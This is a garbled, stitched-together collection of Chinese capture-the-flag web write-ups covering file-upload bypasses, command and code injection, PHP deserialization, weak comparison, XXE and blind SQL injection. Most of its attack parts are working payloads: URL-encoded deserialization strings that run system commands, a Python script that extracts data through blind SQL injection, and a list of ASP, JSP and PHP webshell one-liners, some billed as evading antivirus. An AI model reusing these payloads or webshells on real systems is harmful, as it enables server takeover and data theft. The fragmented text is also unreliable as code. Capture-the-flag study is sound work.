上传成功,文件上传绕过的方法有很多, 发现能用.htaccess解析漏洞,我们先创建一个文件,文件名为.htaccess,内容为 代码的意思就是,将当前目录下文件名为muma.png的文件当成php来解析, 上传该文件,抓包修改一下MIME信息 上传成功,制作图片马、文件名和.htaccess文件里面一致 copy 2.png/b+shell.php/a muma.png /a 就是把文件内容以 ASCII 编码方式进行处理。 /b 这样就把 shell.php 加到 1.jpg 的结尾生成了新文件。 上传图片木马muma.png 上传成功,然后复制一下回显的地址,并将之前的连接拼起来,得到后面的url http://3e683df2-26e7-4cac-b721-e1c0c46399f7.node4.buuoj.cn:81/upload/b260bd03bc3104e3591a052c9cbb0ac8/muma.png 然后上蚁剑,添加数据 根目录下找到flag文件,打开获得flag{b9d55978-634c-4c2e-b296-4ff9646a5ebb} END。 直接看代码只是传一个url参数,然后用exec函数输出, 传入参数?url=ls 尝试使用windows命令,?url=dir 使用命令: http://gz2vip.91tunnel.com:10055/web1/flag.php?url=dir > 1.txt 把 dir 的命定重定向到 1.txt 通过访问 1.txt 可以看到目录内容 访问 flaagg.txt 得到 flag 写入一句话木马文件 gz2vip.91tunnel.com:10055/web1/flag.php?url=echo " " >sss.php 访问sss.php 显示一句话木马已经执行,通过蚁剑连接http://gz2vip.91tunnel.com:10055/web1/sss.php 通过查找百度得到网站的后台名为/dede/ 通过御剑扫描目录 访问gz2vip.91tunnel.com:10055/web3/de/uploads/dede/ 尝试口令:admin admin,成功登陆 打开文件式管理器找到文件上传接口 上传一句话木马文件muma.php 找到文件上传的目录 添加到蚁剑进行访问 create_function()简介 适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7 功能:根据传递的参数创建匿名函数,并为其返回唯一名称。 语法: create_function(string $args,string $code) string $args 声明的函数变量部分 string $code 执行的方法代码部分 基本使用 代码片段 如何利用 create_function() 代码注入 漏洞利用: http://127.0.0.1/2.php?id=2;}phpinfo();/* /*是为了注释之后的代码 执行函数为的源代码: 注入后代码: 再看题目源码: 解题方法一: POST:q=checked&c=}eval(system("type flag.php"));/* 解题方法二: URL:http://gz2vip.91tunnel.com:10055/web5/c.php/?X=system("type flag.php"); POST:q=checked&c=}eval($_GET[X]);/* 查看源码 is_numeric — 检测变量是否为数字或数字字符串 is_numeric ( mixed$var ) : bool 如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE。 MD5 === 数组绕过 源码中: !is_numeric ( mixed$var )结果取反 md5($id) === md5($gg)如果参数id和gg数据类型为数组的话,md5加密为NULL则绕过 $passwd==1234567弱比较,== 弱类型判断,当判断两者是否值是否相等时,若比较值对象为数字时,1234567a 会截取数字部分。 所以GET:?id[]=1&gg[]=2 POST:passwd=1234567a END。 PHP序列化和反序列化 文件备份题 一进入题目,就有页面提示我们“所以我有一个良好的备份网站的习惯” 所以我们尝试着输入网站源码备份文件,看看能否访问 常见的网站源码备份文件后缀: tar.gz,zip,rar,tar,bak 常见的网站源码备份文件名: web,website,backup,back,www,wwwroot,temp 发现www.zip可以成功获得网站源码备份 或者用dirsearch或dirmap扫出来 py3 dir.py -u http://3c25afd0-8c4a-4832-8e11-f182ffcccae4.node3.buuoj.cn/ -e * -w db/dir.txt -u+地址 -e选择语言 -w选择字典 下载后,发现有3个php文件 我们先访问一下 index.php文件,发现: 发现文件包含 class.php 文件 并且文件是get 传参,参数为 select然后把它反序列化,反序列化的过程中会用到class.php unserialize(): unserialize — 从已存储的表示中创建 PHP 的值列化后的字符串。 若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()成员函数(如果存在的话) 访问 class.php 发现php文件中包含 flag.php 我们要调用到__destruct()并且password=100,username=admin才能echo $flag 引用:浅谈反序列漏洞 魔法函数 通常来说有一些PHP的魔法函数会导致反序列化漏洞,如: __construct 当一个对象创建时自动调用 __destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象) __sleep() 使**用serialize()函数时触发 __wakeup 使用unserialse()**函数时会自动调用 __toString 当一个对象被当作一个字符串被调用。 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据//调用私有属性时使用 __set() 用于将数据写入不可访问的属性 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当脚本尝试将对象调用为函数时触发 在本题的关键,就是username的赋值 因为 __wakeup 会对userneme进行一次赋值,所以我们要想办法绕过该函数, 并且在一开始我们要改变 username的赋值 当成员属性数目大于实际数目时可绕过wakeup方法 在这里,我们可以将 php 代码 以文本的方式显示 [推荐网站](php代码在线测试,php在线执行 (dooccn.com)) 构造序列化,php代码: 序列化后是这样的: O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可 O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 然后url识别不了",改为%22 O:4:%22Name%22:3:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;} 因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。 O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} 完整payload ?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;} 界面一直在显示系统时间不断刷新,查看源码, 发现有两个参数,name=func和name=p,应该是调用了date函数,进行了时间回显,通过burp抓包 修改参数值,使用system函数, 显示Hacker...使用 read 函数, 发现提示, 函数名无效, 相关函数, readfile,发现获取到源码。 过滤了一系列函数,php 内的" \ "在做代码执行的时候, 会识别特殊字符串, 绕过黑名单。 \绕过,直接执行命令。func=\system&p=ls /,根目录下没有flag 继续system("find / -name flag"):查找所有文件名匹配flag的文件,func=\system&p=find / -name flag* 查看文件/tmp/flagoefiu4r93,func=\system&p=cat /tmp/flagoefiu4r93 进行php反序列化 构造查看根目录的payload,由于以p提交的为序列化内容,func需设置为unserialize: O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:9:"ls -alh /";} 发现根目录下没有flag文件,构造查找命令,p="find / -name flag*"; $t = new Test("system","find / -name flag*"); O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";} 找到目标文件 /tmp/flagoefiu4r93 p=cat /tmp/flagoefiu4r93; O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";} 代码审计+反序列化 查看is_valid函数,对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true。 查看代码,该段代码首先通过get方法获得字符串str,若str中没有不可打印的字符串后,对字符串执行反序列化操作。 因此我们再看一遍FileHandler类中的内容。 查看process()方法 查看read()这块又有个方法 file_get_contents(), 意思是把整个文件读到一个字符串中。我们肯定是要读取 flag.php 文件的, filename 参数设置成 flag.php。 可以看到构析函数中,op使用强类型比较===判断this->op的值是否等于字符串2,如果等于,则将其置为1。之后执行process()方法。 在process()方法中,则使用弱类型比较==判断op的值是否对等于字符串2,若为真,则执行read()方法与output()方法。而read方法中,使用file_get_contents()函数来读取属性filename路径的文件。 若想读取 flag, 需要绕过 process()方法的判断, 防止 op 被置一。 于是可以传入一个“空格+2”, 绕过 process()方法的判断构造序列化后的值 本地环境测试 O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";N;} payload:?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";N;} 查看源码 抓包可以看到类型是xml XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。 根据抓包信息,页面以POST的方式传输了XML数据,此时我们可以添加一个恶意外部实体,在原本的XML数据里进行引用,以此达到攻击的目的。 基本格式定义 : , 意思是用于声明 XML 文 其中a 表示此文档是note类型的文档。ENTITY中的内容表示声明了一个名为admin的外部实体(含SYSTEM就是外部实体),实体内容为读取/etc/passwd信息。 定义实体后,在已经存在的< username>标签中可以进行调用,使用&admin;即可 其中file://是本地文件传输协议,基本的格式如下:file:///文件路径,比如要打开F盘flash文件夹中的1.swf文件,那么可以在资源管理器或IE地址栏中键入:file:///f:/flash/1.swf并回车 一般flag文件在根目录下,所以直接使用:file:///flag即可 flag{3ae8e204-765d-4cf0-8475-b4aacfa1b54e}题目
PING题目[GXYCTF2019]Ping Ping Ping
PING题[ACTF2020 新生赛]Exec
文件包含漏洞题目
php伪协议filter[ACTF2020 新生赛]Include
PHP伪协议filter[极客大挑战 2019]Secret File
文件备份[ACTF2020 新生赛]BackupFile
原理:如果key为数字时,在做==比较时,str字符串自动变为数字,即str=123代码审计+GET传参+文件包含漏洞[HCTF 2018]WarmUp
"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?> if (! empty($_REQUEST['file']) //$_REQUEST['file']值非空
&& is_string($_REQUEST['file']) //$_REQUEST['file']值为字符串
&& emmm::checkFile($_REQUEST['file']) //能够通过checkFile函数校验
) {
include $_REQUEST['file']; //包含$_REQUEST['file']文件
exit;
} else {
echo "
";
//打印滑稽表情
} highlight_file(__FILE__); //打印代码
class emmm //定义emmm类
{
public static function checkFile(&$page)//将传入的参数赋给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
echo "you can't see it";//打印"you can't see it"
return false;//返回false
}
if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
return true;//返回true
}
$_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
若以上四个if语句均未返回值,则返回false
第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f'或者%25%33%66),构造url:注入题目
盲注
import requests
import time
'''
分析
id=true或1 返回 Hello, glzjin wants a girlfriend. 可以利用
id=2 返回 Do you want to be my girlfriend?
id=(表达式) 根据返回结果,逐个字母判断flag值
查询flag的SQL语句(由于过滤了空格,要用括号代替):(select(flag)from(flag))
使用SQL语句逐个取出flag字符:substr((select(flag)from(flag)),i,1) 从第i个取1一个字符
判断取出的的字符是什么字符:
根据什么判断?ascii
if(ascii(substr(select(flag)from(flag),i,1))=某ascii值,1,0) 正确返回1,错误返回0
每个字符都要进行判断,每次判断都要循环,所以是一个两层循环
'''
url = 'http://ea9211c6-ae0f-4e03-895e-007dd742f521.node4.buuoj.cn:81/index.php'
ch = ''
c = 0 # 记录一下循环次数
i = 1
asciivalue = 1
flag = 'flag{'
# mylist内容是包含ascii码值的列表,包括了对应的数字、字母、{}、-
mylist = list(range(45, 46)) + list(range(48, 58)) + list(range(65, 91)) + list(range(97, 124)) + list(range(125, 126))
for i in range(6, 50):
for asciivalue in mylist:
# 发出请求
# POST中id的内容
payload = 'if(ascii(substr((select(flag)from(flag)),{},1))={},1,0)'.format(i, asciivalue)
data = {
'id': payload
}
r = requests.post(url, data)
time.sleep(0.2)
# 检测回包内容
c += 1
if 'glzjin' in r.text:
ch = chr(asciivalue)
flag += ch
print('\nGet it!! {}'.format(flag))
break
else:
print('.', end='')
if ch == '}':
print('Over!')
break
print(flag)
print(c)
# flag{3e9bad6e-155d-4fe1-9d03-79c4de2f5321}
# xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
POST[极客大挑战 2019]BuyFlag
GET[RoarCTF 2019]Easy Calc
代码里面存在 encodeURIComponent()函数, 其含义为 会对我们输入的 num 变量, 进行正则判断, 判断是否存在这些字符
不存在的化, 就会通过 eval 函数, 执行我们输入的内容
calc.php?num=phpinfo() 403报错
执行我们传的 num 变量的代码。 这个时候只能想办法绕过
这块有个知识点。PHP 将查询字符串(在 URL 或正文中) 转换为内部$_GET 或关联数组$_POST 的时候, 查询字符串在解析的过程中会将某些字符删除或用下划线代替 。
scandir()函数返回指定目录中的文件和目录的数组。
scandir(/)相当于 ls /
var_dump()用于输出
var_dump()相当于 echo
利用 file_get_contents()读取并输出文件内容
file_get_contents(/flag.php), 读取/flag.php 的代码
构造读取根目录 payload chr(47)="/"
/calc.php? num=var_dump(scandir(chr(47)))
/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))sql[极客大挑战 2019]BabySQL
sql[极客大挑战 2019]LoveSQL
方法2:
sql[强网杯 2019]随便注
方法1
预处理语句+堆叠注入
Payload1
Payload2
Payload3
sql[SUCTF 2019]EasySQL
python模板注入[护网杯 2018]easy_tornado
import hashlib
cookie_secret = 'bdc212e2-92c6-4e9f-a89c-4f8a515217a3'
filename = '/fllllllllllllag'
md51 = hashlib.md5()
md51.update(filename.encode(encoding='utf-8'))
str2 = cookie_secret + md51.hexdigest()
md52 = hashlib.md5()
md52.update(str2.encode(encoding='utf-8'))
print(md52.hexdigest())
BJDCTF2020]Easy MD5
一句话木马
//容错代码
//使用Lanker一句话客户端的专家模式执行相关的PHP语句
$_POST['c']($_POST['cc']);?>
$_POST['c']($_POST['cc'],$_POST['cc'])?>
/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:
1.<%eval request("YouPass")%>
2. <%executerequest("YouPass")%>
3. <%execute(request("YouPass"))%>
免杀大部分网站的一句话
4.<% set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject "Response", Response ms.AddObject "request", request ms.ExecuteStatement("ev"&"al(request(""YouPass""))") %>
免杀部分网站过略<%,%>的一句话
5.
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>
提交客户端
ASPX一句话
文件上传题目
[极客大挑战 2019]Upload
[ACTF2020 新生赛]Upload
[极客大挑战 2019]Knife
[SUCTF 2019]CheckIn
其中有两个配置,可以用来制造后门:
auto_append_file相当于指定一个文件,自动包含在要执行的文件前
auto_prepend_file相当于指定一个文件,自动包含在要执行的文件后[MRCTF2020]你传你呢
http://gz2vip.91tunnel.com:10055/web1/flag.php
方法1:
方法2:
http://gz2vip.91tunnel.com:10055/web3/de/uploads
当然也可以通过御剑进行扫描目录PHP函数注入题目
PHP函数注入题目
";
echo "==============================";
echo "
";
$f1 = create_function('$a',$str2);
echo "
";
echo "==============================";
?>function fT($a) {
echo "test".$a;
}
function fT($a) {
echo "test";}
phpinfo();/*;//此处为注入代码。
}
PHP弱类型比较[MRCTF2020]Ez_bypass
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))//函数用于检测变量是否为数字或数字字符串
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
PHP反序列化题目
[极客大挑战 2019]PHP
username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
?>
怎么调用到它呢?其实不用我们动手,在反序列化脚本结束时会自动调用它,它是unserialize()结束的魔术方法(魔法函数)意思就是传入参数select后,就会自动调用__construct,__wakeup方法username=$username;
$this->password=$password;
}
}
$a = new Name(@admin,100);
//var_dump($a);
//echo "
";
$b = serialize($a);
echo $b."
";//输出序列化
echo urlencode($b);//输出url编码后的序列化
?>[网鼎杯 2020 朱雀组]phpweb
func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
另外 test 类, 参数可控, 又有__destruct() 这种魔法函数, 可以利用可以用它构造反序列化绕过黑名单。方法1:
方法2:
func=$func;
$this->p=$p;
}
}
$t = new Test("system","ls -alh /");
//-l : (list)以列表形式显示
//-a: (all)显示全部文件, 包括隐藏文件
//-h: (human readable)人性化形式显示文件大小
$T = serialize($t);
echo $T."
";
echo urlencode($T);
?>
O%3A4%3A%22Test%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A1%3A%22p%22%3Bs%3A9%3A%22ls+-alh+%2F%22%3B%7D
O%3A4%3A%22Test%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A1%3A%22p%22%3Bs%3A18%3A%22find+%2F+-name+flag%2A%22%3B%7D
O%3A4%3A%22Test%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A1%3A%22p%22%3Bs%3A22%3A%22cat+%2Ftmp%2Fflagoefiu4r93%22%3B%7D[网鼎杯 2020 青龙组]AreUSerialz
process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
//定义三个变量,protected的意思是变量只能在内部使用,不能在外部使用
protected $op;
protected $filename;
protected $content;
//魔术方法__construct(),当这个类被创建的时候自动调用
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
public function process() {
if($this->op == "1") {//op==1时,执行write()
$this->write();
} else if($this->op == "2") {//op==2时,执行read(),并打印出来
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
isset(): 函数用于检测变量是否已设置并且非 NULL。 如果指定变量存在且不为 NULL, 则返回 TRUE, 否则返回 FALSE。
file_put_contents(): 函数把一个字符串写入文件中。
die(): 退出当前脚本private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
";
echo urlencode($T);
?>
XXE漏洞题目
[NCTF2019]Fake XML cookbook
//xml声明
]>//DTD部分
档的版本和编码, 是可选的, 必须放在文档开头。
DTD, 文档类型定义(DTD) 可定义合法的 XML 文档构建模块。 DTD 可被成行地声明
与 XML 文档中, 也可作为一个外部引用
实体ENTITY(类似于其他语言中的变量定义) , 如果在 XML 文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名(类似语言中的一个变量的应用)即一个 ENTITY, 然后再文档中调用他,XML 定义了两种类型的 ENTITY。一种在 XML 文档中使用,一种作为参数再 DTD 文件中使用。
ENTITY 定义的语法
]>